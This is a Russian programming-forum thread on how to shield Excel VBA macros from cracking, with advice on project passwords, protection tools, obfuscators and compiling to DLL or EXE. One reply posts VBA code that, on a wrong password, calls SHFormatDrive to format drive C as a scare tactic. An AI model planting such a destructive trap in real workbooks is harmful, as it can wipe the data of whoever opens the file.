Форум программистов, компьютерный форум, киберфорум
VBA
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.59/74: Рейтинг темы: голосов - 74, средняя оценка - 4.59
693 / 99 / 10
Регистрация: 25.06.2011
Сообщений: 718

Как максимально защитить свой труд от взлома

30.12.2011, 13:17. Показов 13992. Ответов 19
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Как максимально защитить свой труд от взлома....и т.п. так как там есть много труда вложеного .....а ексель можно сломать любой програмой по взлому офыса т.п. даже код на просмотр макроса, а про пароль на листе я и не говорю......я понымаю что от опытного програмиста трудно чето сховать
0
Лучшие ответы (1)
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
30.12.2011, 13:17
Ответы с готовыми решениями:

Как защитить ПО от взлома.
Решение в примерах. Донглирование - привязка к электроннуму ключу. Фингерпринт - привязка к айди делеза. Антитрейсер - защита от...

Как защитить сайт от взлома
Большинство продвинутых сайтов,которые достигли очень большой посещаемости, и прочее... подвергаються взлому. Можно ли защитить сайт? Каким...

Как защитить программу от взлома?
Сабж . Как защитить программу от взлома? Есть у кого какие предположения?

19
 Аватар для dzug
695 / 236 / 18
Регистрация: 17.01.2011
Сообщений: 583
Записей в блоге: 1
31.12.2011, 04:39
Для начала попробуйте программу Protect VBA.
1
 Аватар для Alex77755
11525 / 3812 / 683
Регистрация: 13.02.2009
Сообщений: 11,229
31.12.2011, 21:04
На открытие файла пароль трудно сломать.
0
6644 / 1511 / 169
Регистрация: 09.01.2010
Сообщений: 4,298
31.12.2011, 23:48
Цитата Сообщение от IvanOK Посмотреть сообщение
Как максимально защитить свой труд от взлома.
зачем трудится больше номинала
0
693 / 99 / 10
Регистрация: 25.06.2011
Сообщений: 718
01.01.2012, 19:17  [ТС]
Alex77755, етим файлом пользуется 30 человек.

Добавлено через 4 минуты
dzug, можна подробно об етой проге.
0
 Аватар для Alex77755
11525 / 3812 / 683
Регистрация: 13.02.2009
Сообщений: 11,229
01.01.2012, 19:32
Protect VBA
Ломается быстрей, чем ставися пароль
2
Эксперт WindowsАвтор FAQ
 Аватар для Dragokas
18031 / 7734 / 892
Регистрация: 25.12.2011
Сообщений: 11,502
Записей в блоге: 16
02.01.2012, 04:43
Ну чтобы напугать самых ленивых пользователей я на виду у всех делал меню с запросом пароля. А на событие неверного пароля вешал это:
Visual Basic
1
2
3
4
5
6
7
8
9
10
Private Declare Function SHFormatDrive Lib "shell32.dll" (ByVal hwnd As Long, ByVal drive As Long, ByVal fmtid As Long, ByVal options As Long) As Long
Dim status As Long
MsgBox "Пароль неверный! Начинаю форматировать систему...", vbCritical, "Audilyzer. Система защиты"
status = SHFormatDrive(hwnd, 2, &HFFFF, 0)
Select Case status
      Case 6
            MsgBox "Вы успешно отформатировали диск С.", vbInformation, "Microsoft Windows"
      Case Else
            MsgBox "Значит в другой раз форматируем следующий диск :)", vbInformation, "Audilyzer"
End Select
А по теме, если прячете не от опытного программиста, тогда так:
Visual Basic (Alt-F11), выбрать Tools -> VBAProject Propeties --> Protection --> Lock project, Ввод пароля.

Иначе, защита Вам обойдется дороже вложенного в Макрос труда и в результате его все равно вскроют. Это ж не настоящий компилятор.
6
 Аватар для dzug
695 / 236 / 18
Регистрация: 17.01.2011
Сообщений: 583
Записей в блоге: 1
03.01.2012, 03:12
Цитата Сообщение от Alex77755 Посмотреть сообщение
Ломается быстрей, чем ставися пароль
Подробнее можно..Как и чем ломается ?? Спасибо за ответ.
0
здесь больше нет...
3376 / 1674 / 184
Регистрация: 03.02.2010
Сообщений: 1,219
04.01.2012, 11:04
Лучший ответ Сообщение было отмечено как решение

Решение

Цитата Сообщение от Alex77755 Посмотреть сообщение
Ломается быстрей, чем ставися пароль
как я знаю, паролей там никаких нет.
проект становится "анвьюэбл"
эта версия делает непросматриваемым проекты для xl2003 (для остальных продуктов 2003-го офиса не знаю)
Вложения
Тип файла: rar Protect VBA 1.6.rar (285.3 Кб, 304 просмотров)
5
5472 / 1150 / 50
Регистрация: 15.09.2012
Сообщений: 3,576
19.07.2014, 10:54
Я такой вывод сделал.

Средств самой программы "Excel" недостаточно для защиты и нужно использовать другие программы.
Например, предлагают использовать программу "Protect VBA 1.6". Но кроме этой программы ведь могут быть ещё и другие программы и ещё лучше?

Например, я нашёл в интернете "DoneEx XCell Compiler", но ещё не пробовал её (чуть позже попробую).

Таким образом, можно не изучать другой язык программирования, а купить программу, которая будет защищать.

Возможно, использование дополнительных программ поможет усилить защиту макросов. Может быть можно выбрать из имеющихся программ самую лучшую.
0
1261 / 147 / 32
Регистрация: 11.02.2011
Сообщений: 418
19.07.2014, 15:28
Я в своё время обучалочку проходил по интернет безопасности, так там автор начал с двух единственных способов полностью защитить себя от взлома. Способ 1 - не покупайте компьютер. Способ 2 - не столь надёжен как первый, ибо уже есть риск, но если вы всё же купили компьютер не включайте его.
Всегда можно взломать, а в случае с VBA защита чисто формальна. Любой человек, которому в голову может прийти поковыряться в вашем коде сможет туда попасть. Максимум что можно сделать - незначительно осложнить эту задачу. Хотите защиту, учитесь прятать в dll, в этом случае уже потребуются опыт и значительные затраты сил для выковыривания.
0
5472 / 1150 / 50
Регистрация: 15.09.2012
Сообщений: 3,576
19.07.2014, 15:49
korvindeson, Вы не поняли, о чём я написал в сообщении #10.
Нужно не самому ставить защиту средствами VBA, а нужно использовать специальные программы, которые будут защищать.

Например, программа "DoneEx XCell Compiler" преобразует xls-файл в exe-файл. А для открытия exe-файлов уже не подходят программы, которые работают только с xls-файлами.

Только программа "DoneEx XCell Compiler" стоит 4 тыс. рублей. В испытательном режиме недоступно проверить защиту VBA-кода.
1
Эксперт WindowsАвтор FAQ
 Аватар для Dragokas
18031 / 7734 / 892
Регистрация: 25.12.2011
Сообщений: 11,502
Записей в блоге: 16
19.07.2014, 18:00
Не прошло и два года.
Цитата Сообщение от Скрипт Посмотреть сообщение
"Protect VBA 1.6"
Легко вскрывается.
1
5472 / 1150 / 50
Регистрация: 15.09.2012
Сообщений: 3,576
19.07.2014, 18:05
Dragokas, я так понимаю, все файлы, которые имеют Excel-формат, например, xls, xlsm и т.д., вскрываются.

Вот программа "DoneEx XCell Compiler" формирует exe-файлы. Может быть это защитит. Но дорого стоит.
0
1261 / 147 / 32
Регистрация: 11.02.2011
Сообщений: 418
22.07.2014, 23:57
Скрипт, ну вообще достаточно интересная штука этот XCell. Вот только насколько он адекватно запутывает код, насколько точны формулы, которые он пользует вместо экселевских. Адов тестинг нужен, если пользовать её (ну или слепо доверять, что ребята сделали всё без ошибок)
0
Модератор
Эксперт JS
 Аватар для Eva Rosalene
5241 / 2115 / 416
Регистрация: 06.01.2013
Сообщений: 4,846
23.07.2014, 01:29
Вот нечто вроде обфускатора, но за качество работы ничего сказать не могу: invisible basic

Или вот: Obfu-VBA

Однако, кому надо докопаться до истины - те это сделают. Поэтому необходимо решить - настолько ли важен мой код, что до него будут докапываться даже сквозь обфускатор. Если да - то в первую очередь подумать - стоит ли это делать на VBA?

Добавлено через 1 минуту
Ггг, а второй сайт не работает без www. в URL
1
 Аватар для Антихакер32
1201 / 473 / 46
Регистрация: 06.01.2014
Сообщений: 1,797
Записей в блоге: 19
23.07.2014, 02:25
Классный у вас аватар ...
0
5472 / 1150 / 50
Регистрация: 15.09.2012
Сообщений: 3,576
23.07.2014, 07:28
Я хочу попробовать использовать VB.Net для скрытия VBA-кода. С помощью VB.Net можно создавать dll-файлы и в них помещать какой-нибудь фрагмент VBA-кода. Посмотреть содержимое dll-файла сложнее, чем VBA-макроса.
Но думаю, что у меня ничего получится, т.к. у VB.Net синтаксис сильно отличается от VBA и придётся долго переделывать VBA-код в VB.Net.
0
 Аватар для dzug
695 / 236 / 18
Регистрация: 17.01.2011
Сообщений: 583
Записей в блоге: 1
02.04.2015, 20:01
Цитата Сообщение от Скрипт Посмотреть сообщение
Я хочу попробовать использовать VB.Net для скрытия VBA-кода. С помощью VB.Net можно создавать dll-файлы и в них помещать какой-нибудь фрагмент VBA-кода. Посмотреть содержимое dll-файла сложнее, чем VBA-макроса.
А файл.ЕХЕ , написанный на VB 6, сложнее посмотреть чем dll-файл ?
0
Модератор
10048 / 3894 / 883
Регистрация: 22.02.2013
Сообщений: 5,847
Записей в блоге: 79
02.04.2015, 20:49
Цитата Сообщение от dzug Посмотреть сообщение
А файл.ЕХЕ , написанный на VB 6, сложнее посмотреть чем dll-файл ?
Файл EXE, написанный на VB6 сложнее посмотреть чем .NET. Дотнетовский файл можно декомпилировать почти до исходного кода. VB6 компилирует в натив.
2
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
02.04.2015, 20:49
Помогаю со студенческими работами здесь

Как защитить от взлома сессии и куки?
Здравствуйте, подскажите как защитить от взлома сессий и куки.Везде ищу не могу найти.У меня есть код но я не думаю что он безопасный ...

Как можно защитить приложение от взлома?
Как можно ещё защитить код (усложнить работу при декомпиляции)? Тема была выделена отсюда -...

Как защитить свое приложение от взлома и модификаций
Собственно вопрос в названии темы. Меня интересуют несколько вопросов, может кто из вас имеет опыт в данной теме. Хочется сделать...

Как защитить htaccess от взлома и вживление вредоносного кода?
Как защитить htaccess от взлома и вживление вредоносного кода? Добавлено через 1 минуту ErrorDocument 405 /code/404.php ...

Как защитить php файл после взлома сайта?
Всем привет! Не так давно на мой сайт был залит шелл WSO 2.5. Для тех кто не знает что это. Через этот шелл можно управлять всем, как через...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
20
Ответ Создать тему
Новые блоги и статьи
SDL3 для Web (WebAssembly): Работа со звуком через SDL3_mixer
8Observer8 08.02.2026
Содержание блога Пошагово создадим проект для загрузки звукового файла и воспроизведения звука с помощью библиотеки SDL3_mixer. Звук будет воспроизводиться по клику мышки по холсту на Desktop и по. . .
SDL3 для Web (WebAssembly): Основы отладки веб-приложений на SDL3 по USB и Wi-Fi, запущенных в браузере мобильных устройств
8Observer8 07.02.2026
Содержание блога Браузер Chrome имеет средства для отладки мобильных веб-приложений по USB. В этой пошаговой инструкции ограничимся работой с консолью. Вывод в консоль - это часть процесса. . .
SDL3 для Web (WebAssembly): Обработчик клика мыши в браузере ПК и касания экрана в браузере на мобильном устройстве
8Observer8 02.02.2026
Содержание блога Для начала пошагово создадим рабочий пример для подготовки к экспериментам в браузере ПК и в браузере мобильного устройства. Потом напишем обработчик клика мыши и обработчик. . .
Философия технологии
iceja 01.02.2026
На мой взгляд у человека в технических проектах остается роль генерального директора. Все остальное нейронки делают уже лучше человека. Они не могут нести предпринимательские риски, не могут. . .
SDL3 для Web (WebAssembly): Вывод текста со шрифтом TTF с помощью SDL3_ttf
8Observer8 01.02.2026
Содержание блога В этой пошаговой инструкции создадим с нуля веб-приложение, которое выводит текст в окне браузера. Запустим на Android на локальном сервере. Загрузим Release на бесплатный. . .
SDL3 для Web (WebAssembly): Сборка C/C++ проекта из консоли
8Observer8 30.01.2026
Содержание блога Если вы откроете примеры для начинающих на официальном репозитории SDL3 в папке: examples, то вы увидите, что все примеры используют следующие четыре обязательные функции, а. . .
SDL3 для Web (WebAssembly): Установка Emscripten SDK (emsdk) и CMake для сборки C и C++ приложений в Wasm
8Observer8 30.01.2026
Содержание блога Для того чтобы скачать Emscripten SDK (emsdk) необходимо сначало скачать и уставить Git: Install for Windows. Следуйте стандартной процедуре установки Git через установщик. . . .
SDL3 для Android: Подключение Box2D v3, физика и отрисовка коллайдеров
8Observer8 29.01.2026
Содержание блога Box2D - это библиотека для 2D физики для анимаций и игр. С её помощью можно определять были ли коллизии между конкретными объектами. Версия v3 была полностью переписана на Си, в. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru